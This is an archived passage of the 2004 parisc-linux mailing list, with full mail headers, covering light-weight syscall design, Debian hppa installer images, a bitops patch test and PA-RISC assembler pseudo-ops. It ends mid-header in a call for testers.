	Wed, 11 Aug 2004 15:42:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03705-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 15:42:10 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 34A623BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 15:42:10 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 19F9ECD29F; Wed, 11 Aug 2004 14:42:09 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040811195731.GK29662@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21862

> I continue to work on the light-weight-syscalls infrastructure, and it
> seems to be going well. I have to continually rethink what is "correct"
> and what is "practical" in terms of an implementation.

what do you guys think about this?

<tausq> well, can you just make the trap handler notice that you are coming
          from the gatway page, return a specific error code, and then fall
          back to do a regular syscall?
* tausq is thinking that will be cleaner
<tausq> rather than special casing things in many places...
<patofiero> tausq : Yeah, I think the slow path is just going to be really
            slow, and I'll have to teach the intr_save asm to notice that I'm
            a gateway lws and setup appropriately.
<patofiero> more asm!
<patofiero> tausq : The corner casese are getting really ugly.
<tausq> but the thing is, if you are only doing cas once in a while, you don't
          really care that it's a bit slow. if you are doing it a lot (like in
          a loop) it probably will only fault the first time or so
<patofiero> Exactly.
<patofiero> The page will stay hot.
<tausq> so, don't do a lot of special things in intr_save to setup stacks and
<tausq> (this is how futexes work, right?)
<patofiero> they do the reverse, they look for contention from userspace and
            then go into a syscall.
<tausq> similar idea.... look for contention/error in a lws, and then go into
          a syscall
<patofiero> I'll have to think about it.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: "If futex's were mutex's we'd have a fish fry!"
	or "Why we ne
Date: Wed, 11 Aug 2004 21:35:37 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200408120135.i7C1ZbUh024474@hiauly1.hia.nrc.ca>
References: <20040811214208.GN546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623517 10408 80.91.229.3 (22 Nov 2014 02:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:57 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7367 invoked by uid 65534); 12 Aug 2004 01:36:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 12 Aug 2004 03:36:34 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 025133BE40; Wed, 11 Aug 2004 19:36:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05607-06; Wed, 11 Aug 2004 19:36:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 789313BE25; Wed, 11 Aug 2004 19:35:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F012C3BE12
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 19:35:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05607-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 19:35:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9CF753BDF9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Aug 2004 19:35:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i7C1Zc45024475; Wed, 11 Aug 2004 21:35:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7C1ZbUh024474;
	Wed, 11 Aug 2004 21:35:37 -0400 (EDT)
In-Reply-To: <20040811214208.GN546@tausq.org> from "Randolph Chung" at Aug 11,
	2004 05:42:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21863

> <tausq> well, can you just make the trap handler notice that you are coming
>           from the gatway page, return a specific error code, and then fall
>           back to do a regular syscall?

You might consider a specific list of addresses to register with the
trap handler.  The general approach seems reasonable to me.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install of Debian 30r2 to HP C3600 with USB
	keyboard & mouse.
Date: Thu, 12 Aug 2004 11:36:58 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20040812153658.GH11649@engsoc.org>
References: <A6EBFD8CBD50984D95C93CB3CD4F0D5B11A9EC@GBCWSWIEM001.ad.plc.cwintra.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623518 10417 80.91.229.3 (22 Nov 2014 02:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Neville, James" <James.Neville@cwmsg.cwplc.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19567 invoked by uid 65534); 12 Aug 2004 15:40:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 12 Aug 2004 17:40:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE87E3BE94; Thu, 12 Aug 2004 09:40:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14769-01; Thu, 12 Aug 2004 09:40:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E738D3BE67; Thu, 12 Aug 2004 09:40:09 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B64C3BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 09:40:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14614-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 09:40:03 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 7C9FB3BE54
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 09:40:02 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i7CFeMLF029933; Thu, 12 Aug 2004 11:40:22 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BvHdS-0005FY-00; Thu, 12 Aug 2004 11:36:58 -0400
Content-Disposition: inline
In-Reply-To: <A6EBFD8CBD50984D95C93CB3CD4F0D5B11A9EC@GBCWSWIEM001.ad.plc.cwintra.com>
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21864

On Thu, Aug 12, 2004 at 03:37:39PM +0100, Neville, James wrote:
>    I am trying to install the Debian 30r2 hppa distribution onto a HP C3600.
>    When the first CD is booted the RAM disk loads and I get a nice blue

Hi James,

You may want to try the new installer images for hppa for version 3.1 of
Debian.

http://cdimage.debian.org/pub/cdimage-testing/sarge_d-i/hppa/rc1/sarge-hppa-netinst.iso

I have done significant testing of these images throughout their
development, and found them to work well.

If you could send an installation report mail as here, it would be
fantastic
http://www.nl.debian.org/devel/debian-installer/report-template

Debian 3.1 "sarge" our new stable version will be released around the
15th of September, so you might as well get a head start.

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
Date: Thu, 12 Aug 2004 08:59:28 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <200408120859.28306.mszick@goquest.com>
References: <40FB89640000B461@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623518 10427 80.91.229.3 (22 Nov 2014 02:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10582 invoked by uid 65534); 12 Aug 2004 13:58:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 12 Aug 2004 15:58:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 07AF73BE26; Thu, 12 Aug 2004 07:58:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13327-05; Thu, 12 Aug 2004 07:58:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8407A3BE47; Thu, 12 Aug 2004 07:58:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA3503BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 07:58:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12638-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 07:58:09 -0600 (MDT)
Original-Received: from mail.goquest.com (unknown [64.217.178.7])
	by free.linux.hp.com (Postfix) with SMTP id 345353BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 07:58:03 -0600 (MDT)
Original-Received: (qmail 32412 invoked by uid 497); 12 Aug 2004 13:57:56 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st 
	(clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1(12.18.108.24):. 
	Processed in 0.263672 secs); 12 Aug 2004 13:57:56 -0000
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(12.18.108.24):. Processed in 0.263672 secs)
Original-Received: from unknown (HELO 66-90-212-242.dyn.grandenetworks.net)
	(12.18.108.24)
	by mail.goquest.com with SMTP; 12 Aug 2004 13:57:55 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <40FB89640000B461@ocpmta2.freegates.net>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21865

On Wed August 11 2004 06:58, Joel Soete wrote:
> 
> Hello *,
> 
> > Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
> > 
> > 
> > On Tue August 10 2004 09:51, John David Anglin wrote:
> > > > On Mon, Aug 09, 2004 at 09:54:08AM -0500, Michael S. Zick wrote:
> > > > > generic_ffz is defined as integer - is 'integer' the same size
> > > > > cpu32 and cpu64?  If not, that routine needs a size-conditional
> > > > > test for the other 32 bits on cpu64.
> > > > 
> > > > Integers are the same size. The 64-bit boxes are LP64.
> > > 
> > > To be more specific, the 'int' types are the same size.  The 'long'
> > > types are different.
> > > 
> Here is the smal test case I tested:
- - - - - - 
> 
> I compile it with James 64bit lib with hppa64-linux-gcc (3.0.4) and run
> it on a b2k (64bit cpu) with 2.6.8-rc2-pa7 64bit.
> That's a long test (reason of delay) but it works fine.
> 
> I also test the 32bit binaries (compile with gcc-3.3.4) runing on the b2k
> with same kernel and it also works fine.
> 
> Please note that I have to abuse the original ffs() code with ULffs() and
> an unsigned long (64bit long for hppa64-gcc) as parameter (the original
> was an integer of 32bit long for 64bit and 32bit gcc).
> 
> hth,
>     Joel
Thanks for the testing and the help Joel.
So I would like the m-l to consider that patch sent
earlier be upgraded from "suggested" to "submitted".

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.pdf?
Date: Thu, 12 Aug 2004 14:33:15 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <200408121433.15444.mszick@goquest.com>
References: <200408121741.KAA29481@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623518 10439 80.91.229.3 (22 Nov 2014 02:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21239 invoked by uid 65534); 12 Aug 2004 19:33:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 12 Aug 2004 21:33:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0DAB23BE0A; Thu, 12 Aug 2004 13:33:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16192-08; Thu, 12 Aug 2004 13:33:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8AC283BDE6; Thu, 12 Aug 2004 13:32:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6955A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 13:32:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15854-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 13:32:36 -0600 (MDT)
Original-Received: from mail.goquest.com (mail.goquest.com [64.217.178.7])
	by free.linux.hp.com (Postfix) with SMTP id 554943BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 13:32:35 -0600 (MDT)
Original-Received: (qmail 24195 invoked by uid 497); 12 Aug 2004 19:32:20 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st 
	(clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1(12.18.108.24):. 
	Processed in 0.335937 secs); 12 Aug 2004 19:32:20 -0000
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(12.18.108.24):. Processed in 0.335937 secs)
Original-Received: from unknown (HELO 66-90-212-242.dyn.grandenetworks.net)
	(12.18.108.24)
	by mail.goquest.com with SMTP; 12 Aug 2004 19:32:19 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <200408121741.KAA29481@lucy.cup.hp.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21866

On Thu August 12 2004 12:41, Jim Hull wrote:
> Joel:
> 
- - - - -
> 
> Does the PA2.0 gnu assembler not recognize these (and other) pseudo-ops? 
Perhaps too well.
If I recall properly, the same table & code is used for both the assembler and
the 'disassemble' (-d) option of objdump.

'objdump -d' tries to be explicit in showing the space register assumed...
but it also displays the pseudo operations rather than the actual operation.
(Grumble, Grumble)

I think that Joel's question comes from (his and my) wondering if we need to
make 'machine independent' defines of some of these instructions.
According to Appendix J - we don't - the PA1.1 codes will assemble for
PA2.0 (with HP's assembler).
Time will show if gcc-inline assembly is that nice to we programmers.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Testers required please (test-lws, test-probe)! :)
Date: Fri, 13 Aug 2004 00:30:36 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20040813043036.GA31035@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623519 10440 80.91.229.3 (22 Nov 2014 02:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7944 invoked by uid 65534); 13 Aug 2004 04:31:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 13 Aug 2004 06:31:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0965A3BDF6; Thu, 12 Aug 2004 22:31:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19941-05; Thu, 12 Aug 2004 22:31:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 60CBD3BDCA; Thu, 12 Aug 2004 22:30:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 331FC3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 22:30:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19941-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 22:30:41 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id DEAEC3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Aug 2004 22:30:40 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BvTi9-0008Fs-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 00:30:37 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
